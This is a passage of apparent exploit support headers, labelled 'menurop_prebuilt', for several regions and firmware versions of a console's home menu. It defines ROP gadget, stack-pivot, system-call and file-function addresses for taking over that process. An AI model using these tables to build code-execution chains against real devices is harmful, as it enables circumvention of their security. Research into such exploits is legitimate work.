11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002376d4
19 | #define MEMSET32_OTHER 0x00233a80
20 | 
21 | #define svcControlMemory 0x002358a8
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9d0
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022bbac
28 | #define IFile_Write 0x00220eb0
29 | 
30 | #define POP_R0PC 0x00157950
31 | #define ROP_LDRR1R1_STRR1R0 0x00214100
32 | #define ROP_CMPR0R1 0x002a1ad8
33 | #define ROP_INITOBJARRAY 0x0022c149
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x00235900
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014bad4
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459ac
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bcc0
44 | #define IFile_Close 0x0022fa58
45 | #define IFile_Seek 0x0022163c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b480
50 | #define NSS_LaunchTitle 0x002313c8
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/KOR/13312:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002371d0
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x0015055c
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002376ec
19 | #define MEMSET32_OTHER 0x00233a98
20 | 
21 | #define svcControlMemory 0x002358c0
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9e8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022bbc4
28 | #define IFile_Write 0x00220ec8
29 | 
30 | #define POP_R0PC 0x00157968
31 | #define ROP_LDRR1R1_STRR1R0 0x00214118
32 | #define ROP_CMPR0R1 0x002a1af0
33 | #define ROP_INITOBJARRAY 0x0022c161
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x00235918
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014baec
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459c4
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bcd8
44 | #define IFile_Close 0x0022fa70
45 | #define IFile_Seek 0x00221654
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b498
50 | #define NSS_LaunchTitle 0x002313e0
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/16404:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c0
 4 | #define POP_R1PC 0x00237040
 5 | #define POP_R3PC 0x0010f61c
 6 | #define POP_R2R6PC 0x001502c8
 7 | #define POP_R4LR_BXR1 0x0011a2c4
 8 | #define POP_R4R8LR_BXR2 0x001333dc
 9 | #define POP_R4R5R6PC 0x0010d3b8
10 | #define POP_R4FPPC 0x0010ee20
11 | #define POP_R4R8PC 0x0010d4e4
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a27c
14 | #define ROP_STR_R0TOR1 0x00112198
15 | #define ROP_LDR_R0FROMR0 0x00118d38
16 | #define ROP_ADDR0_TO_R1 0x0012b0dc
17 | 
18 | #define MEMCPY 0x0023755c
19 | #define MEMSET32_OTHER 0x00233914
20 | 
21 | #define svcControlMemory 0x00235730
22 | #define svcSleepThread 0x0012b0a0
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b754
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd8
26 | 
27 | #define IFile_Read 0x0022b9a8
28 | #define IFile_Write 0x00220d4c
29 | 
30 | #define POP_R0PC 0x001576d4
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f9c
32 | #define ROP_CMPR0R1 0x002a19a8
33 | #define ROP_INITOBJARRAY 0x0022bf45
34 | #define svcCreateThread 0x0010e424
35 | #define svcConnectToPort 0x00118754
36 | #define svcGetProcessId 0x0012b084
37 | #define SRV_GETSERVICEHANDLE 0x00235788
38 | #define CFGIPC_SecureInfoGetRegion 0x0013780c
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b858
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001457dc
42 | #define FS_MountSdmc 0x00118bc4
43 | #define IFile_Open 0x0022babc
44 | #define IFile_Close 0x0022f854
45 | #define IFile_Seek 0x002214d8
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b4b8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b210
50 | #define NSS_LaunchTitle 0x0023125c
51 | #define NSS_RebootSystem 0x001373e8
52 | #define GSPGPU_Shutdown 0x00119f78
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f60c
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f614
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f618
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f620
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f624
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/17415:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e528
 4 | #define POP_R1PC 0x00236efc
 5 | #define POP_R3PC 0x0010f538
 6 | #define POP_R2R6PC 0x0015040c
 7 | #define POP_R4LR_BXR1 0x0011a268
 8 | #define POP_R4R8LR_BXR2 0x00133380
 9 | #define POP_R4R5R6PC 0x0010d320
10 | #define POP_R4FPPC 0x0010ed3c
11 | #define POP_R4R8PC 0x0010d44c
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a220
14 | #define ROP_STR_R0TOR1 0x001120b4
15 | #define ROP_LDR_R0FROMR0 0x00118cdc
16 | #define ROP_ADDR0_TO_R1 0x0012b080
17 | 
18 | #define MEMCPY 0x00237418
19 | #define MEMSET32_OTHER 0x002337c4
20 | 
21 | #define svcControlMemory 0x002355ec
22 | #define svcSleepThread 0x0012b044
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b898
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b86c
28 | #define IFile_Write 0x00220c14
29 | 
30 | #define POP_R0PC 0x00157818
31 | #define ROP_LDRR1R1_STRR1R0 0x00213e64
32 | #define ROP_CMPR0R1 0x002a1810
33 | #define ROP_INITOBJARRAY 0x0022be09
34 | #define svcCreateThread 0x0010e38c
35 | #define svcConnectToPort 0x001186f8
36 | #define svcGetProcessId 0x0012b028
37 | #define SRV_GETSERVICEHANDLE 0x00235644
38 | #define CFGIPC_SecureInfoGetRegion 0x001377b0
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b99c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00145874
42 | #define FS_MountSdmc 0x00118b68
43 | #define IFile_Open 0x0022b980
44 | #define IFile_Close 0x0022f718
45 | #define IFile_Seek 0x002213a0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b420
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b028
50 | #define NSS_LaunchTitle 0x0023110c
51 | #define NSS_RebootSystem 0x0013738c
52 | #define GSPGPU_Shutdown 0x00119f1c
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/19456:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237004
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x00237520
19 | #define MEMSET32_OTHER 0x002338cc
20 | 
21 | #define svcControlMemory 0x002356f4
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b974
28 | #define IFile_Write 0x00220d1c
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f6c
32 | #define ROP_CMPR0R1 0x002a18e4
33 | #define ROP_INITOBJARRAY 0x0022bf11
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x0023574c
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022ba88
44 | #define IFile_Close 0x0022f820
45 | #define IFile_Seek 0x002214a8
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b0fc
50 | #define NSS_LaunchTitle 0x00231214
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/20480:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00236ebc
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x002373d8
19 | #define MEMSET32_OTHER 0x00233784
20 | 
21 | #define svcControlMemory 0x002355ac
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b82c
28 | #define IFile_Write 0x00220bd4
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213e24
32 | #define ROP_CMPR0R1 0x002a18e0
33 | #define ROP_INITOBJARRAY 0x0022bdc9
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235604
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022b940
44 | #define IFile_Close 0x0022f6d8
45 | #define IFile_Seek 0x00221360
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b1c4
50 | #define NSS_LaunchTitle 0x002310cc
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/21504:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00236ed8
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x002373f4
19 | #define MEMSET32_OTHER 0x002337a0
20 | 
21 | #define svcControlMemory 0x002355c8
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b848
28 | #define IFile_Write 0x00220bf0
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213e40
32 | #define ROP_CMPR0R1 0x002a18fc
33 | #define ROP_INITOBJARRAY 0x0022bde5
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235620
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022b95c
44 | #define IFile_Close 0x0022f6f4
45 | #define IFile_Seek 0x0022137c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b1e0
50 | #define NSS_LaunchTitle 0x002310e8
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/22528:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00236ed8
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x002373f4
19 | #define MEMSET32_OTHER 0x002337a0
20 | 
21 | #define svcControlMemory 0x002355c8
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b848
28 | #define IFile_Write 0x00220bf0
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213e40
32 | #define ROP_CMPR0R1 0x002a1910
33 | #define ROP_INITOBJARRAY 0x0022bde5
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235620
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022b95c
44 | #define IFile_Close 0x0022f6f4
45 | #define IFile_Seek 0x0022137c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b1f4
50 | #define NSS_LaunchTitle 0x002310e8
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/23552:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00236f08
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x00237424
19 | #define MEMSET32_OTHER 0x002337d0
20 | 
21 | #define svcControlMemory 0x002355f8
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b878
28 | #define IFile_Write 0x00220c20
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213e70
32 | #define ROP_CMPR0R1 0x002a18e0
33 | #define ROP_INITOBJARRAY 0x0022be15
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235650
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022b98c
44 | #define IFile_Close 0x0022f724
45 | #define IFile_Seek 0x002213ac
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b1c4
50 | #define NSS_LaunchTitle 0x00231118
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/24578:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x00237100
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x00150544
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x0023761c
19 | #define MEMSET32_OTHER 0x002339c8
20 | 
21 | #define svcControlMemory 0x002357f0
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9d0
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022baf4
28 | #define IFile_Write 0x00220dfc
29 | 
30 | #define POP_R0PC 0x00157950
31 | #define ROP_LDRR1R1_STRR1R0 0x0021404c
32 | #define ROP_CMPR0R1 0x002a1ae8
33 | #define ROP_INITOBJARRAY 0x0022c091
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x00235848
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014bad4
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459ac
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bc08
44 | #define IFile_Close 0x0022f9a0
45 | #define IFile_Seek 0x00221588
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b474
50 | #define NSS_LaunchTitle 0x00231310
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
